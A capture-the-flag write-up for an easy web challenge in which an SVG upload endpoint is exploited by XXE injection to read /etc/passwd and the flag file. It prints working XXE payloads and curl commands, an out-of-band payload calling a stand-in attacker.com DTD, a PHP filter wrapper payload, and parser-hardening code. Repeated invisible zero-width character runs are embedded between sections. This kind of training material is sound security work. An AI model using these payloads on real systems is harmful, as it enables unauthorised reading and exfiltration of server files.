Студия анимаций (SVG Animation Studio)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: local_file_read, svg_xxe, xxe_injection

Summary

Walkthrough of the CUSTOM Web Студия анимаций (SVG Animation Studio). Task: SVG animation web app with file upload. Solution: XXE injection in SVG parser to read /app/flag.txt via SYSTEM entity.

Description

"Как тебе мой сайт для анимации свг'шек?" (How do you like my SVG animation site?)

URL: http://tasks.duckerz.ru:30016

A web application that allows uploading SVG files and applying various animations to them.

Analysis

Reconnaissance

1. Technologies: Flask/Werkzeug Python web application
2. Functionality: Upload SVG files and apply animations
3. Endpoint: POST /animate - processes uploaded SVG files

Vulnerability

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

XXE (XML External Entity) Injection in the SVG parser.

SVG files are XML documents. The server parses them without disabling external entities, which allows reading arbitrary files on the server.

Why this works:

• SVG = XML format
• Parser doesn't disable SYSTEM entities
• File contents are substituted into SVG and returned to the client

Solution

Step 1: Testing XXE via /etc/passwd

Create an SVG with XXE payload:

 xml read-only • copy allowed Copy
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20">&xxe;</text>
</svg>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Send it:

 bash read-only • copy allowed Copy
curl -X POST http://tasks.duckerz.ru:30016/animate \
  -F "file=@xxe_test.svg" \
  -F "animation=pulse" \
  -F "bg_color=#121212"

The server returns SVG with /etc/passwd contents in the <text> element - XXE works!

Step 2: Reading the flag

Typical flag paths in CTF: /flag, /flag.txt, /app/flag.txt

 xml read-only • copy allowed Copy
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///app/flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20">&xxe;</text>
</svg>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -X POST http://tasks.duckerz.ru:30016/animate \
  -F "file=@xxe_flag.svg" \
  -F "animation=pulse" \
  -F "bg_color=#121212"

The server returned SVG with the flag inside the <text> element.

Defense

To protect against XXE, disable external entities:

Python (lxml):

 python read-only • copy allowed Copy
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)

Python (defusedxml):

 python read-only • copy allowed Copy
import defusedxml.ElementTree as ET
tree = ET.parse(file)  # Safe by default

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Additional XXE Techniques

Out-of-Band (OOB) XXE

If data is not displayed directly:

 xml read-only • copy allowed Copy
<!DOCTYPE svg [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

PHP Wrapper (for PHP backends)

 xml read-only • copy allowed Copy
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

References

• OWASP XXE Prevention Cheat Sheet
• PortSwigger XXE
• PayloadsAllTheThings XXE ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering local_file_read, svg_xxe, xxe_injection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-01-09 • CUSTOM • Студия анимаций (SVG Animation Studio) • Difficulty: Easy